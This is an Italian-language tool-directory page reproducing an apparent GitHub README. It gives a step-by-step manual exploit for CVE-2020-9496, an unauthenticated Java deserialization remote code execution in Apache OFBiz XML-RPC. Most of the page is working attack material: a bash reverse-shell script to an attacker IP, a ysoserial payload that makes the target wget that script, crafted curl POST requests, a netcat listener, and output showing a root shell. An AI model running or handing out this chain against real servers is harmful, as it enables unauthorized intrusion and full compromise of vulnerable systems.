Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/cyber-niz/cve-2020-9496
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubcyber-niz/cve-2020-9496

CVE-2020-9496

Exploit manuale per CVE-2020-9496, una RCE di deserializzazione Java non autenticata in Apache OFBiz XML-RPC, con istruzioni passo-passo per la generazione del payload e la reverse shell.

Vedi Repository
5 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-9496 - RCE

Poiché le 2 richieste relative a xmlrpc in webtools (xmlrpc e ping) non utilizzano l'autenticazione, sono vulnerabili a una deserializzazione non sicura. Questo problema è stato segnalato al team di sicurezza da Alvaro Munoz [email protected] del team GitHub Security Lab.

Questa vulnerabilità esiste a causa di problemi di serializzazione Java durante l'elaborazione delle richieste inviate a /webtools/control/xmlrpc. Un attaccante remoto non autenticato può sfruttare questa vulnerabilità inviando una richiesta appositamente predisposta. Uno sfruttamento riuscito comporterebbe l'esecuzione arbitraria di codice.

Versione Affetta 17.12.01

Versioni Corrette 18.12.01, 17.12.04

Blog Originale: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/

Per far funzionare questo POC dobbiamo inserire uno script shell e eseguire/accedere a quel file tramite curl.

PASSO 1: Crea un file shell con una riga di comando Bash con il tuo indirizzo IP e la porta.

root@kitploit:~
$ cat shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.x.x/1337 0>&1

PASSO 2: Ora dobbiamo rendere questo file disponibile tramite servizio HTTP

root@kitploit:~
$ sudo python3 -m http.server 80

PASSO 3: Genera il payload tramite ysoserial - Cambia IP

root@kitploit:~
$ ysoserial CommonsBeanutils1 "wget 10.10.x.x/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"

PASSO 4: Copia l'output del tuo payload - Stringa molto lunga

root@kitploit:~
rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==

PASSO 5: Usa il comando curl qui sotto per eseguire il nostro payload. Incolla il payload dopo extensions”>

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Comando Curl Senza Payload Per Riferimento

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"></serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Assicurati di aver ricevuto una richiesta sul server HTTP dopo l'esecuzione del comando curl

root@kitploit:~
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.x.x - - [29/Apr/2021 12:57:07] "GET /shell.sh HTTP/1.1" 200 -

Come puoi vedere abbiamo ricevuto una richiesta sul nostro server HTTP. Il file è stato scaricato nella directory /tmp con il nome shell.sh. Ora, per eseguire quel file, crea di nuovo il payload. Ma prima di farlo, avvia un listener netcat.

PASSO 6: Avvia il Listener NetCat

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...

PASSO 7: Crea il Payload per eseguire lo script shell scaricato in precedenza

root@kitploit:~
$ ysoserial CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"

PASSO 8: Copia e incolla l'output nel comando curl ed eseguilo

root@kitploit:~
curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

PASSO 10: Controlla il Listener NetCat per la connessione inversa

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] 60006
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
root@test:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
Scarica lo strumento